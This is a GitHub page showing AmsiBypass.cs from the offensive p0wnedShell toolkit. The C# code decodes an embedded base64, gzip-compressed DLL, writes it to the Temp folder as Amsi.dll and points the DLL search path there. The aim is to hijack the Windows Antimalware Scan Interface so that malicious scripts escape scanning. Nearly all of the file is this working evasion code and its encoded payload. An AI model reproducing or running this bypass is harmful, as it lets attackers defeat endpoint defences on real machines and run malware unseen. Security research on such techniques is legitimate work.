-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathAmsiBypass.cs
66 lines (56 loc) · 24 KB
/
AmsiBypass.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
using System;
using System.IO;
using System.IO.Compression;
using System.Runtime.InteropServices;
namespace p0wnedShell
{
class AmsiBypass
{
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool SetDllDirectory(string lpPathName);
public static byte[] Decompress(byte[] data)
{
using (var compressedStream = new MemoryStream(data))
using (var zipStream = new GZipStream(compressedStream, CompressionMode.Decompress))
using (var resultStream = new MemoryStream())
{
var buffer = new byte[4096];
int read;
while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0)
{
resultStream.Write(buffer, 0, read);
}
return resultStream.ToArray();
}
}
public static byte[] Base64_Decode(string encodedData)
{
byte[] encodedDataAsBytes = Convert.FromBase64String(encodedData);
return encodedDataAsBytes;
}
public static void Amsi(string arch)
{
BinaryWriter bw;
//original string AmsiX86 = "H4sIAAAAAAAEAO1YfXRTR3YfWZItGxkrxE4cwodI5Bg2sS35yZ+SiYktsDc2CGxsnBjLwnq25OjDld4jhprGVHaD+uITdheynGyyJ8ThlGx3z7KnlJKkEIGS2HwESJOldKGtN0ubB2ZPvIQDbteb13vnSQYT2I8/tnt6mjln5s785s69M3fu3Jn36p/aTpSEEBVkSSLkIJFTJfndaQLy7IVvzyb7Uz9cdFBR9+GiRrcnpO8JBrqCTp++w+n3Bzj9BlYf5P16j19fvapB7wu42Pz09DRDXMZPi0/v+lbz7hOJvKug8MR3gP4g9bXj36b09ePbKX3j+C5K9xx/GWjd3m7K963m104MAU1OfZPyKVPbTmyn7WHaXuPpcKPcxJztNkLqFMmk+UcHnkpgYyRp0SzFb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0BDWWiWPMC3+xAbfZjVDiKsEehkUfeGW1uliMpTeZduqchDWlIQxr+z0LqHfaJHfbRplOpN87G/pHeYX3xir3Y7/Nsm4bPHuw4v7jx0JnOA3wQTyH244R/irOKA/wk8HqcR7aRDHAlziP76AwILH7XCXnCJ/BUgB4BzizE/h4yhP8NTy/oMWAfXrL3gfYDd+Ohtg4Av2TShN806VPAH5k04cW44SC6EDiKh9rtBP6+ySf8kkkTlnD+IR1ygN/E8z7oU8CtOAu9Brod+CAekiH8U5NOAlvxEpjoAuAVeKjOEuBTeG4GzfCOfxke4juAQ7j4KAHdAnwED9mhDzgDFyhELwIepRsu0Hj3JM6L20ATprNgAG0RpvMe0YTp3PZ90ITfw3MOdBrSkIY0pCENnwXQC9cN9Lt8PPhRUxrSkIY0pCENafh/BPT/T3F37vZ4fBs3bMP1tCDS6XQ6nU6n0+k/zDT91oJ+pzP93Mxz/DuB75Qcdh3mh9PrYRrSkIY0pCENf8jwW/+gxZsASAAA";
string TempFolder = Path.GetTempPath();
SetDllDirectory(TempFolder);
bw = new BinaryWriter(new FileStream(TempFolder + "\\Amsi.dll", FileMode.Create));
if (arch == "AMD64")
{
byte[] decoded = Base64_Decode(AmsiX64);
byte[] decompressed = Decompress(decoded);
bw.Write(decompressed);
}
else {
byte[] decoded = Base64_Decode(AmsiX86);
byte[] decompressed = Decompress(decoded);
bw.Write(decompressed);
}
bw.Close();
}
}
}